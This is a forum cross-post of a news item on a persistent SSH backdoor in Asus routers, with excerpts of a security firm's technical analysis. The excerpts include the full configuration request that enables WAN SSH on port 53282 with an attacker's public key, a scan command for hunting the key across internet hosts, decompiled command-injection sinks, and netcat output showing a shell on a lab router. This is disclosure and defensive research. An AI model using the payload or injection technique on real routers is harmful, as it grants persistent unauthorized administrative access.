- cross-posted to:
- technology@lemmy.world
- cross-posted to:
- technology@lemmy.world
cross-posted from: https://rss.ponder.cat/post/193175
Thousands of home and small office routers manufactured by Asus are being infected with a stealthy backdoor that can survive reboots and firmware updates in an attack by a nation-state or another well-resourced threat actor, researchers said.
The unknown attackers gain access to the devices by exploiting now-patched vulnerabilities, some of which have never been tracked through the internationally recognized CVE system. After gaining unauthorized administrative control of the devices, the threat actor installs a public encryption key for access to the device through SSH. From then on, anyone with the private key can automatically log in to the device with administrative system rights.
Durable control
“The attacker’s access survives both reboots and firmware updates, giving them durable control over affected devices,” researchers from security firm GreyNoise reported Wednesday. “The attacker maintains long-term access without dropping malware or leaving obvious traces by chaining authentication bypasses, exploiting a known vulnerability, and abusing legitimate configuration features.”
From Ars Technica - All content via this RSS feed
The technical analysis of that source pt 2:
spoiler
if (f_exists(“/tmp/BWSQL_LOG”) > 0) { var_8f0_1 = &var_7e0; str_1 = str; snprintf(&var_420, 0x400, "echo “[BWDPI_SQLITE]%d/%d[%s] %s…”, i_3, j_1, str_1, var_8f0_1); system(&var_420); // DANGER }
Mystery CVE!
I’m not the only one who has noticed this vulnerability. A full write-up analyzing this critical design flaw is available here: https://leeyabug.top/ASUS-SQLI
Wed, Feb 19, 11:44 —— ASUS confirmed the vul, will add a hall of fame and assign a CVE. discovered by leeya_bug If I wanted to ensure multiple ways to regain access to a router after being locked out, this would be an effective approach.
current_page=Advanced_System_Content.asp &next_page=Advanced_System_Content.asp &modified=0 &flag= &action_mode=apply &action_wait=5 &action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B &first_time= &preferred_lang=EN &reboot_schedule_enable=0 &reboot_schedule_enable_x=0 &telnetd_enable=0 &sshd_enable=1 &sshd_port=53282 &sshd_port_x=53282 &sshd_pass=0 &sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623 &shell_timeout_x=20
This payload leverages built-in ASUS router features to enable SSH on both LAN and WAN, bind it to TCP/53282, and add an attacker-controlled public key::
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623 Because this key is added using the official ASUS features, this config change is persisted across firmware upgrades. If you’ve been exploited previously, upgrading your firmware will NOT remove the SSH backdoor.
Can you prove that the 4,853 (and steadily increasing) hosts from this Censys search are actually backdoored with this SSH pubkey? Yes. One of the features of sshamble by runZero is the ability to take a pubkey attacker.pub and a username, and determine if the remote host has the associated pubkey inserted.
In this case, the attacker possesses information we do not—specifically, the username. We suspect this was gathered earlier through brute force attacks. With a sample size of ~5,000, it is likely that at least one user chose “admin” as their username.
sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt
And sure enough, someone has. We can confirm that the attacker controlled pubkey has been installed for the admin user on the remote machine on TCP/53282. Something privileged that has absolutely no business being there.
“pubKeyHuntResults”: [ “ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin” ]
Demoing the Attacks
After obtaining a physical ASUS RT-AX55 (which is affected by the identified CVE-2023-39780), we used the above payloads to execute commands and spawn a netcat listener without any issues.
Starting Nmap 7.80 ( https://nmap.org/ ) at 2025-03-21 13:10 EDT Nmap scan report for RT-AX55-4960 (192.168.50.1) Host is up (0.012s latency).
PORT STATE SERVICE 1111/tcp open lmsocialserver
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds remy@remy-XPS-13-9310:~$ nc -vvv 192.168.50.1 1111 Connection to 192.168.50.1 1111 port [tcp/*] succeeded! �������� badmin@RT-AX55-4960:/tmp/bwdpi# ls ls app_patrol.conf bwdpi.rule.db key.enc tmfbe_workdir bwdpi.app.db dcd.conf libshn_pctrl.so wred.conf bwdpi.appdb.db dcd.pid model.enc wred.pid bwdpi.beh.db dcd.stat ntdasus2014.cert bwdpi.cat.db dev_wan rule.version bwdpi.devdb.db guid shn.pem
taking ARMs against a sea of troubles
While updating my new ASUS RT-AX55 to the latest firmware, I noticed a recent security update released just three days ago.
Unfortunately, the download link is broken and returns a 404 error.
Shortly afterward, the download description and link disappeared entirely.
So, I installed the latest available version and moved on. (Of course, that didn’t solve the issue.)
Patch Diffing
I do have FW_RT_AX55_300438651598.zip and FW_RT_AX55_300438652332.zip(newest) firmwares available. A quick unblob / binwalk makes quick work of extracting the squashfs-root filesystem.
The old vulnerable function looks a bit like this:
nvram_set(“oauth_google_token_status”, &data_174fea[0xf]); void var_410; memset(&var_410, 0, 0x400);
if (!check_if_dir_exist(“/tmp/oauth/”)) mkdir(“/tmp/oauth/”, 0x1ed);
snprintf(&var_410, 0x400, “wget --no-check-certificate --ti…”, 3, 1, nvram_get(), “103584452676-437qj6gd8o9tuncit9h…”, “xivDhVGSSHZ3LJMx228wdcDf”, “refresh_token”, “/tmp/oauth/google_access_token.j…”, “https://www.googleapis.com/oauth…”);
if (f_exists(“/tmp/OAUTH_DEBUG”) > 0) cprintf(“[OAUTH][%s:(%d)]post cmd : %s\n”, “oauth_google_check_token_status”, 0x5b6, &var_410);
system(&var_410); // DANGER
The newest patch available just wraps the above code in an if statement from an external function is_valid_auth_code from /usr/lib/libshared.so
if (is_valid_oauth_code()){ //Same code as before }
Authors Note: While not directly relevant to our current investigation, --no-check-certificate on the wget command means that your Google OAuth token is sent to a remote server without validating the SSL/TLS certificate. This has implications. We grab a cross-compiler toolchain for a compatible GLIBC version from https://toolchains.bootlin.com/ and cross-compile an ARM binary that will load libshared.so, dumping a list of valid characters from the new gatekeeper function, prompting us to allow playing with the input, and passing the input through the same snprintf and system calls as in the original binary.
#Cross compile armv5-eabi–glibc–stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl #ELF check file callshared.elf #Move binary into firmware squashfs root cp callshared.elf ./squashfs-root/bin/callshared.elf #Move QEMU emulator binary into squashfs root cp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static #Change root, load libshared.so, execute our hook sudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD=“/usr/lib/libshared.so” /bin/busybox sh -c “/bin/callshared.elf”
callshared.c
#include <stdio.h> #include <stdint.h> #include <dlfcn.h> #include <string.h>
#define MAX_INPUT 4096
int main() { void *handle; int (*oc)(char *); // Function pointer with return type int char *error; char input[MAX_INPUT]; int result; __uint8_t curChar;
}